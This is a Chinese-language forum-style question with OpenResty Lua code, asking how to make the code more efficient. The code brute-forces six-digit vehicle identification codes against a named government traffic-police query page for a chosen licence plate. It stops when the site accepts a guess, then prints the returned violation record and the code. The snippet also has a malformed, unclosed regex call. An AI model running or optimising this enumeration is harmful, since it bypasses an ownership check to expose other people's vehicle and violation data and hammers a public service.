有如下代码:
local http = require "resty.http"
local hc=http:new()
local m=0
local args = ngx.req.get_post_args()
local hphm=args.hphm
hphm=string.upper(hphm)
for i=1000,999999 do
local m= string.format("%06d",i)
local ok,code,headers,status,body=hc:request({
url="
http://www.dygajj.gov.cn:9080/wscgsxxcx/jdcwfcx.do",
method="POST",
headers = { ["Content-Type"] = "application/x-www-form-urlencoded" },
body="fzjg=E&hphm="..hphm.."&hpzl=02&type=wfcx&clsbdh="..m,
})
local ma,err=ngx.re.match(body,'(.*)<input type="hidden" name="state"
value="输入的车辆识别代号不正确>,请重新输入">(.*)',
if not ma then
body = ngx.re.gsub(body,'(.*?)<img src="(.*?)" width=".*>(.*?)',"$1$3","mj");
body = ngx.re.gsub(body,'(.*?)<img border="0" src="(.*?)"
width=".*>(.*?)',"$1$3","mj");
body = ngx.re.gsub(body,'(.*?) background="(.*?)" (.*?)',"$1 $3","mj");
ngx.say(body)
ngx.say(m)
ngx.exit(ngx.HTTP_OK)
end
end
如何提高效率?